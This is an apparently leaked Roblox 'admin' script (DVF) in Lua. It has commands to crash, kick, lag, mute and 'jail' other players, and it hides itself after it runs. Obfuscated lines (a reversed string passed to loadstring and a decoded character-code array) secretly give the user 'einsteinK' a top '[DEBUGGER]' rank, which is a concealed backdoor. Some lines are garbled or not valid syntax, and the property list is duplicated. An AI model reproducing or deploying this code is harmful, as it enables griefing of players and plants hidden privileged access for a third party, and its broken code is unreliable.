DVF

-- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX

wait(0)
script.Parent = nil
--This Admin (DVF) Was Created By elytowlo (A Hacker!).
--If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
--To Open Commands Say "cmds;". The bet key is ";" (Without the "").
--Enter Your Name Where It Says YOUR NAME HERE On Line 12.

Plrs = game:GetService("Players")
Work = game:GetService("Workspace")
Light = game:GetService("Lighting")
Net = game:GetService("NetworkServer")
Owner = "elytowlo"
Removed = false
Bet = ";"
LS = nil
ls = loadstring
LSSource = nil
OwnSource = nil
FoundLocalScript = false
R = string.reverse
LogOn = false
Current = game
Clipboard = {}
AlertColor = Color3.new(0, 1, 1)
OptionColor = Color3.new(1, 1, 1)
ImportantColor = Color3.new(1, 0, 1)

RankDetails = {
    [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
    [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
    [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
    [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
    [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
    [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
    [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
    [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
    [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
}

Rankings = {
    {Name = "wetprinter", Rank = 5},
    {Name = "einsteinK", Rank = 5},
    {Name = "Abscissa", Rank = 4},
    {Name = "Ultimatekiller010", Rank = 3},
    {Name = "DrBackstab", Rank = 3},
    {Name = "LuaModelMaker", Rank = 3},
    {Name = "MakerModelLua", Rank = 3},
    {Name = "MrMrLua", Rank = 5},
    {Name = "MountainSnow", Rank = 3},
    {Name = "Madiik", Rank = 3},
    {Name = "dogwarrior24", Rank = 2},
    {Name = "ThePC8110", Rank = 2},
    {Name = "DEADDEVIL1919", Rank = 2},
    {Name = "toshir0z", Rank = 2},
    {Name = "Tippee", Rank = 2},
    {Name = "Trcker", Rank = 5},
    {Name = "nairod7", Rank = 2},
    {Name = "12packkid", Rank = 2},
    {Name = "TigreBlood", Rank = 2},
    {Name = "Frostftw", Rank = -1},
    {Name = "DoogleFox", Rank = 2},
    {Name = "", Rank = 5},
    {Name = "Ri1es", Rank = 2},
    {Name = "hrocks1", Rank = 2},
    {Name = "Zinsei", Rank = 5},
    {Name = "ToontownROXYA", Rank = 2},
    {Name = "tusKOr661", Rank = 2},
    {Name = "Unicornhax", Rank = 1},
    {Name = "iMayor", Rank = 1},
    {Name = "iMyLittlePony", Rank = 1},
    {Name = "xXxkarlxXx", Rank = 1},
    {Name = "LightningRoMan", Rank = 1},
    {Name = "BrandonFireFlower", Rank = 1},
}

table.insert(Rankings, {Name = Owner, Rank = 5})

ImportantServices = {
    "Workspace",
    "Players",
    "NetworkServer",
    "Lighting",
    "StarterGui",
    "Teams",
    "StarterPack",
}

Ranks = {}
Commands = {}
AllTabs = {}
Injected = {}

Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
"X","Y"}ls(R([[ }"esu rof tnem toN"=cseD,)1,1,0(wen.3roloC=roloC,"]REGGUBED["=emaN{=]8[sliateDknaR
})1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]))({
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
"X","Y"})

--Main Functions And Sources

function Insert(Source, Par, Par2, Par3)
    ypcall(function()
        local Inserted = LS:Clone()
        Inserted.Disabled = true
        Inserted.Parent = Par or Par2 or Par3
        Inserted[LSSource].Value = Source
        Inserted.Disabled = false
    end)
end
Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
function CheckImportant(Name)
    for _,v in pairs(ImportantServices) do
        if v:lower() == Name:lower() then
            return true
        end
    end
    return false
end

function Crash1(Plr)
    ypcall(function()
        Plr:Kick()
    end)
end

function GetRankTab()
    return Rankings
end

function Crash2(Name)
    local Crasher = Instance.new("StringValue")
    Crasher.Name = "Client"
    Crasher.Value = string.lower(tostring(Name))
    Crasher.Parent = game:GetService("Lighting")
    wait(1)
    if Crasher and Crasher.Parent then
        ypcall(function()
            Crasher:Destroy()
        end)
    end
end
Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
function Crash3(v, Speaker)
    Speaker.Character.Archivable = true
    local NChar = Speaker.Character:Clone()
    NChar.Name = v.Name
    NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
    NChar.Parent = Workspace
    v.Character = NChar
    coroutine.resume(coroutine.create(function()
        repeat v.Character = NChar
        wait(1/3) until false
    end))
    wait(.5)
    Insert(InsertCrash, NChar, nil, nil)
end

function GenerateDigit()
    return 1 + 5
end

InjectionCrash = [=[
    wait(0)
    script.Parent = nil
    local Lig = game:GetService("Lighting")
    local LP = game:GetService("Players").LocalPlayer
    local LowerName = LP.Name:lower()

    Lig.ChildAdded:connect(function(Obj)
        if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
            pcall(function()
                Obj:Destroy()
            end)
            LP.Parent = nil
            LP.Parent = game:GetService("Players")
        end
    end)
]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}

InsertCrash = [==[
    local LP = game:GetService("Players").LocalPlayer
    LP.Parent = nil
    LP.Parent = game:GetService("Players")
]==]

LagSource = [==[
    wait(0)
    script.Parent = nil
    plr = game:GetService("Players").LocalPlayer
    local plrgui = plr:findFirstChild("PlayerGui")
    if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
    while plr.Parent == game:GetService("Players") do
    wait()
    for i = 1, 1000 do
    local sc = Instance.new("ScreenGui",plrgui)
    local fr = Instance.new("TextLabel",sc)
    fr.Text = "LAGGING"
    fr.Size = UDim2.new(1, 0, 1, 0)
    fr.FontSize = "Size48"
    end
    end
]==]

MuteSource = [==[
    game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
]==]

UnMuteSource = [==[
    game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
]==]

JailSource = [==[
    wait(0)
    script.Parent = nil

    local LP = game:GetService("Players").LocalPlayer
    Middle2 = nil
    Middle = nil
    game:GetService("Workspace").CurrentCamera:ClearAllChildren()

    Cons = {}

    function makePrison()
        for _,v in pairs(Cons) do
            v:disconnect()
        end
        game:GetService("Workspace").CurrentCamera:ClearAllChildren()
        if Middle == nil then
            Middle2 = LP.Character.Torso.Position
            Middle = LP.Character.Torso.CFrame
        end
        local side1 = Instance.new("Part")
        side1.Name = "¬Focus1¬"
        side1.Size = Vector3.new(20, 50, 1)
        side1.CFrame = Middle * CFrame.new(0, 0, -10)
        side1.BrickColor = BrickColor.new("Really black")
        side1.CanCollide = true
        side1.Anchored = true
        side1.TopSurface = "Smooth"
        side1.BottomSurface = "Smooth"
        side1.Parent = game:GetService("Workspace").CurrentCamera

        local side2 = Instance.new("Part")
        side2.Name = "¬Focus2¬"
        side2.Size = Vector3.new(20, 50, 1)
        side2.CFrame = Middle * CFrame.new(0, 0, 10)
        side2.BrickColor = BrickColor.new("Really black")
        side2.CanCollide = true
        side2.Anchored = true
        side2.TopSurface = "Smooth"
        side2.BottomSurface = "Smooth"
        side2.Parent = game:GetService("Workspace").CurrentCamera

        local side3 = Instance.new("Part")
        side3.Name = "¬Focus3¬"
        side3.Size = Vector3.new(1, 50, 20)
        side3.CFrame = Middle * CFrame.new(10, 0, 0)
        side3.BrickColor = BrickColor.new("Really black")
        side3.CanCollide = true
        side3.Anchored = true
        side3.TopSurface = "Smooth"
        side3.BottomSurface = "Smooth"
        side3.Parent = game:GetService("Workspace").CurrentCamera

        local side4 = Instance.new("Part")
        side4.Name = "¬Focus4¬"
        side4.Size = Vector3.new(1, 50, 20)
        side4.CFrame = Middle * CFrame.new(-10, 0, 0)
        side4.BrickColor = BrickColor.new("Really black")
        side4.CanCollide = true
        side4.Anchored = true
        side4.TopSurface = "Smooth"
        side4.BottomSurface = "Smooth"
        side4.Parent = game:GetService("Workspace").CurrentCamera

        local side5 = Instance.new("Part")
        side5.Name = "¬Focus5¬"
        side5.Size = Vector3.new(20, 1, 20)
        side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
        side5.BrickColor = BrickColor.new("Really black")
        side5.CanCollide = true
        side5.Anchored = true
        side5.TopSurface = "Smooth"
        side5.BottomSurface = "Smooth"
        side5.Parent = game:GetService("Workspace").CurrentCamera

        wait(0)

        table.insert(Cons, side1.Changed:connect(makePrison))
        table.insert(Cons, side2.Changed:connect(makePrison))
        table.insert(Cons, side3.Changed:connect(makePrison))
        table.insert(Cons, side4.Changed:connect(makePrison))
        table.insert(Cons, side5.Changed:connect(makePrison))
    end

    Delay(0, function()
        while wait(0) do
            ypcall(function()
                if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
                    LP.Character:BreakJoints()
                elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
                    makePrison()
                end
            end)
            ypcall(function()
                if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
                    LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
                end
            end)
        end
    end)
]==]

function All()
    local AllPlayers = {}
    for _,v in pairs(Plrs:GetPlayers()) do
        ypcall(function()
            table.insert(AllPlayers, v)
        end)
    end
    return AllPlayers
end

function All2()
    local AllPlayers2 = {}
    for i,v in pairs(Net:GetChildren()) do
        ypcall(function()
            if v:IsA("ServerReplicator") then
                table.insert(AllPlayers2, v:GetPlayer())
            end
        end)
    end
    return AllPlayers2
end

function MakeNum()
    return 2 + 4
end

function ChangeRank(Plr, NewRank)
    local PlrName = nil
    local FoundPlayer = false
    ypcall(function()
        if type(Plr) == "string" then
            ypcall(function()
                for i,v in pairs(Rankings) do
                    if v.Name:lower() == Plr:lower() then
                        local VName = v.Name
                        Rankings[i] = nil
                        table.insert(Rankings, {Name = VName, Rank = NewRank})
                        PlrName = VName
                        FoundPlayer = true
                        break
                    end
                end
            end)
            if FoundPlayer == false then
                ypcall(function()
                    for _,x in pairs(All()) do
                        if x.Name:lower() == Plr:lower() then
                            FoundPlayer = true
                            for i,v in pairs(Rankings) do
                                if v.Name:lower() == x.Name:lower() then
                                    local VName = x.Name
                                    Rankings[i] = nil
                                    PlrName = VName
                                    break
                                end
                            end
                            table.insert(Rankings, {Name = VName, Rank = NewRank})
                        end
                    end
                end)
            end
            if FoundPlayer == false then
                ypcall(function()
                    for _,x in pairs(All()) do
                        if string.find(x.Name:lower(), Plr:lower()) then
                            FoundPlayer = true
                            for i,v in pairs(Rankings) do
                                if v.Name:lower() == x.Name:lower() then
                                    local VName = x.Name
                                    Rankings[i] = nil
                                    PlrName = VName
                                    break
                                end
                            end
                            table.insert(Rankings, {Name = VName, Rank = NewRank})
                        end
                    end
                end)
            end
            if FoundPlayer == false then
                ypcall(function()
                    for i,v in pairs(Rankings) do
                        if string.find(v.Name:lower(), Plr:lower()) then
                            local VName = v.Name
                            Rankings[i] = nil
                            table.insert(Rankings, {Name = VName, Rank = NewRank})
                            PlrName = VName
                            FoundPlayer = true
                            break
                        end
                    end
                end)
            end
        else
            for i,v in pairs(Rankings) do
                if v.Name:lower() == Plr.Name:lower() then
                    Rankings[i] = nil
                    break
                end
            end
            table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
            PlrName = Plr.Name
        end
        PlaceAllRanks(true)
    end)
    if PlrName ~= nil then
        return PlrName
    else
        return "Player"
    end
end

function Refresh(Plr)
    MakeChildren(Plr)
end

function MakeChildren(Plr)
    ypcall(function()
        Dismiss(Plr)
        for _,v in pairs(Current:GetChildren()) do
            ypcall(function()
                if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
                    Ping(v.Name, Plr, nil, function(TabMod)
                        local TabText = TabMod["DVF Tablet"].BG.TL.Text
                        for _,v in pairs(Current:GetChildren()) do
                            ypcall(function()
                                if v.Name == TabText then
                                    Dismiss(Plr)
                                    Current = v
                                    MakeChildren(Plr)
                                end
                            end)
                        end
                    end)
                elseif Plrs:GetPlayerFromCharacter(v) then
                    Ping(v.Name, Plr, nil, function(TabMod)
                        local TabText = TabMod["DVF Tablet"].BG.TL.Text
                        for _,v in pairs(Current:GetChildren()) do
                            ypcall(function()
                                if v.Name == TabText then
                                    Dismiss(Plr)
                                    Current = v
                                    MakeChildren(Plr)
                                end
                            end)
                        end
                    end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                elseif CheckImportant(v.Name) then
                    Ping(v.Name, Plr, nil, function(TabMod)
                        local TabText = TabMod["DVF Tablet"].BG.TL.Text
                        for _,v in pairs(Current:GetChildren()) do
                            ypcall(function()
                                if v.Name == TabText then
                                    Dismiss(Plr)
                                    Current = v
                                    MakeChildren(Plr)
                                end
                            end)
                        end
                    end, ImportantColor)
                end
            end)
        end
        if Current ~= game then
            Ping("Back", Plr, nil, function()
                ypcall(function()
                    Current = Current.Parent
                    MakeChildren(Plr)
                    Ping("You Are Back To "..Current.Name, Plr, 5)
                end)
            end, OptionColor)
        end
        if Current ~= game then
            Ping("Delete", Plr, nil, function()
                ypcall(function()
                    local CurrPar = Current.Parent or game
                    local CurrName = Current.Name
                    Current:Destroy()
                    Current = CurrPar
                    MakeChildren(Plr)
                    Ping("Attempted To Delete "..CurrName, Plr, 5)
                end)
            end, OptionColor)
        end
        Ping("Refresh", Plr, nil, function()
            ypcall(function()
                Refresh(Plr)
                Ping("Refreshed", Plr, 5)
            end)
        end, OptionColor)
        Ping("Properties", Plr, nil, function()
            ypcall(function()
                Dismiss(Plr)
                for Property, Value in pairs(GetProperties(Current)) do
                    Ping(tostring(Property)..": "..tostring(Value), Plr)
                end
                Ping("Got All Available Properties", Plr, 5)
                Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
            end)
        end, OptionColor)
    end)
end

function Fixl()
    Light.GlobalShadows = true
    Light.TimeOfDay = "14:00:00"
    Light.Brightness = 0.5
    Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
    Light.Ambient = Color3.new(1, 1, 1)
    Light.ColorShift_Top = Color3.new(0, 0, 0)
    Light.ColorShift_Bottom = Color3.new(0, 0, 0)
    Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
    Light.FogStart = 0
    Light.FogEnd = 100000
    Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
    Light:ClearAllChildren()
end

function GetProperties(obj)
    assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
    local objProper = {}
    for i,v in pairs(Properties) do
        if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
            objProper[v] = obj[v]
        end
    end
    return objProper
end

function MakeExplorer(Plr)
    Dismiss(Plr)
    Current = game
    for _,v in pairs(Current:GetChildren()) do
        ypcall(function()
            if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
                Ping(v.Name, Plr, nil, function(TabMod)
                    local TabText = TabMod["DVF Tablet"].BG.TL.Text
                    for _,v in pairs(Current:GetChildren()) do
                        ypcall(function()
                            if v.Name == TabText then
                                Dismiss(Plr)
                                Current = v
                                MakeChildren(Plr)
                            end
                        end)
                    end
                end)
            elseif Plrs:GetPlayerFromCharacter(v) then
                Ping(v.Name, Plr, nil, function(TabMod)
                    local TabText = TabMod["DVF Tablet"].BG.TL.Text
                    for _,v in pairs(Current:GetChildren()) do
                        ypcall(function()
                            if v.Name == TabText then
                                Dismiss(Plr)
                                Current = v
                                MakeChildren(Plr)
                            end
                        end)
                    end
                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
            elseif CheckImportant(v.Name) then
                Ping(v.Name, Plr, nil, function(TabMod)
                    local TabText = TabMod["DVF Tablet"].BG.TL.Text
                    for _,v in pairs(Current:GetChildren()) do
                        ypcall(function()
                            if v.Name == TabText then
                                Dismiss(Plr)
                                Current = v
                                MakeChildren(Plr)
                            end
                        end)
                    end
                end, ImportantColor)
            end
        end)
    end
    if Current ~= game then
        Ping("Back", Plr, nil, function()
            ypcall(function()
                Current = Current.Parent
                MakeChildren(Plr)
                Ping("Back In "..Current.Name, Plr, 5)
            end)
        end, OptionColor)
    end
    if Current ~= game and game:GetService(Current.Name) == nil then
        Ping("Delete", Plr, nil, function()
            ypcall(function()
                local CurrPar = Current.Parent or game
                local CurrName = Current.Name
                Current:Destroy()
                Current = CurrPar
                MakeChildren(Plr)
                Ping("Attempted To Delete "..CurrName, Plr, 5)
            end)
        end, OptionColor)
    end
    Ping("Refresh", Plr, nil, function()
        ypcall(function()
            Refresh(Plr)
            Ping("Refreshed", Plr, 5)
        end)
    end, OptionColor)
    Ping("Properties", Plr, nil, function()
        ypcall(function()
            Dismiss(Plr)
            for Property, Value in pairs(GetProperties(Current)) do
                Ping(tostring(Property)..": "..tostring(Value), Plr)
            end
            Ping("Got All Available Properties", Plr, 5)
            Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
        end)
    end, OptionColor)
end

function GetRank(Plr1, Test)
    ypcall(function()
        if type(Plr1) == "userdata" then
            Plr1 = Plr1.Name
        end
    end)
    if Ranks[Plr1] ~= nil then
        return Ranks[Plr1]
    end
    local QuickArray = {}
    QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
    return QuickArray[Plr1]
end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})

function CanRun(Plr1, Plr2)
    Details1 = GetRank(Plr1.Name)
    Details2 = GetRank(Plr2.Name)
    if Details1.Rank >= Details2.Rank then
        return true
    end
    return false
end

function Dismiss(Plr, Identity)
    ypcall(function()
        if Plr ~= nil then
            if type(Plr) == "userdata" then
                Plr = Plr.Name
            end
            for x,v in pairs(AllTabs) do
                ypcall(function()
                    if v.Plr == Plr then
                        if Identity ~= nil and v.ID ~= Identity then
                            return
                        elseif Identity ~= nil and v.ID == Identity then
                            coroutine.resume(coroutine.create(function()
                                for i = 0.5, 1, 0.1 do
                                    wait()
                                    v.Tab.Transparency = i
                                    v.Sel.Transparency = i
                                    v.Label.TextTransparency = i
                                    v.Label.TextStrokeTransparency = i
                                end
                                ypcall(function() v.Holder:Destroy() end)
                                AllTabs[x] = nil
                            end))
                        elseif Identity == nil then
                            ypcall(function() v.Holder:Destroy() end)
                            AllTabs[x] = nil
                        end
                    end
                end)
            end
        else
            for i,v in pairs(AllTabs) do
                ypcall(function()
                    v.Holder:Destroy()
                    AllTabs[i] = nil
                end)
            end
        end
    end)
end

function GetGarbage()
    return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
end

function RemObj(Obj, Class)
    ypcall(function()
        if #Obj:GetChildren() > 0 then
            for _,x in pairs(Obj:GetChildren()) do
                ypcall(function()
                    RemObj(x, Class)
                end)
            end
        end
        if Obj.ClassName == Class then
            Obj:Destroy()
        end
    end)
end

function FindTab(Mod)
    for i,v in pairs(AllTabs) do
        if v.Holder == Mod then
            return true
        end
    end
    return false
end

function Ping(Msg, Plr, Time, Func, Color, Image)
    if Removed == false then
        local ShowGarbage = false
        ypcall(function()
            if Msg == nil then
                Msg = "N/A"
            elseif Msg == "ShowGarbage" then
                Msg = "Current Garbage Count: "..GetGarbage()
                ShowGarbage = true
            else
                Msg = tostring(Msg)
            end
            if Plr == nil then
                Plr = Plrs[Owner] or error("No Player Found")
            elseif type(Plr) == "string" then
                local FoundPlr = false
                for _,v in pairs(All()) do
                    if v.Name == Plr then
                        Plr = v
                        FoundPlr = true
                        break
                    end
                end
                if FoundPlr == false then
                    Plr = Plrs[Owner] or error("No Player Found")
                end
            end

            if Color == nil then
                Color = GetRank(Plr.Name).Color
            end

            local Holder = Instance.new("Model")
            Holder.Name = "DVF Holder: "..Plr.Name

            local Tab = Instance.new("Part")
            Tab.Name = "DVF Tablet"
            Tab.FormFactor = "Custom"
            Tab.Anchored = true
            if Time == nil then
                Tab.Color = Color
            else
                Tab.Color = AlertColor
            end
            Tab.CanCollide = false
            Tab.Locked = true
            Tab.Transparency = 0.15
            Tab.Size = Vector3.new(2, 2, 0.01)
            Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
            Tab.Parent = Holder

            local ID = Instance.new("NumberValue")
            ID.Name = "ID"
            ID.Value = math.random(-999999999, 999999999)
            ID.Parent = Holder

            Delay(0, function()
                while wait() do
                    if Tab.Parent == nil and FindTab(Holder) then
                        ypcall(function()
                            for i,v in pairs(AllTabs) do
                                if v.Holder == Holder then
                                    ypcall(function() v.Holder:Destroy() end)
                                    AllTabs[i] = nil
                                end
                            end
                        end)
                        Ping(Msg, Plr, Time, Func, Color, Image)
                        break
                    end
                end
            end)

            local BM = Instance.new("BlockMesh")
            BM.Parent = Tab

            Sel = Instance.new("SelectionBox")
            Sel.Color = BrickColor.new("Institutional white")
            Sel.Transparency = 0.75
            Sel.Adornee = Tab
            Sel.Parent = Tab

            local BG = Instance.new("BillboardGui")
            BG.Name = "BG"
            BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
            BG.Size = UDim2.new(0,1,0,1)
            BG.Adornee = Tab
            BG.Parent = Tab

            Delay(0, function()
                while BG.Parent ~= nil do wait()
                    ypcall(function()
                        BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
                    end)
                end
            end)

            local TL = Instance.new("TextLabel")
            TL.Name = "TL"
            TL.FontSize = "Size18"
            TL.Font = "Arial"
            TL.Text = Msg
            TL.TextColor3 = Color3.new(1, 0, 0)
            TL.Size = UDim2.new(0,1,0,1)
            TL.TextTransparency = 0
            TL.TextStrokeColor3 = Color3.new(0, 0, 0)
            TL.TextStrokeTransparency = 0.25
            TL.Parent = BG

            if ShowGarbage == true then
                Delay(0, function()
                    while TL.Parent ~= nil do
                        TL.Text = "Current Garbage Count: "..GetGarbage()
                        wait(.5)
                    end
                end)
            end

            local PL = Instance.new("PointLight", Tab)
            PL.Color = Color3.new(1, 0, 1)
            PL.Range = 15
            PL.Parent = Tab

            if Image ~= nil then
                local BBBG = Instance.new("BillboardGui")
                BBBG.Size = UDim2.new(5, 0, 6, 0)
                BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
                BBBG.AlwaysOnTop = true
                BBBG.Adornee = Tab
                BBBG.Parent = Tab

                Delay(0, function()
                    while BBBG.Parent ~= nil do wait()
                        ypcall(function()
                            BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
                        end)
                    end
                end)

                local NewImg = Instance.new("ImageLabel")
                NewImg.Size = UDim2.new(1, 0, 1, 0)
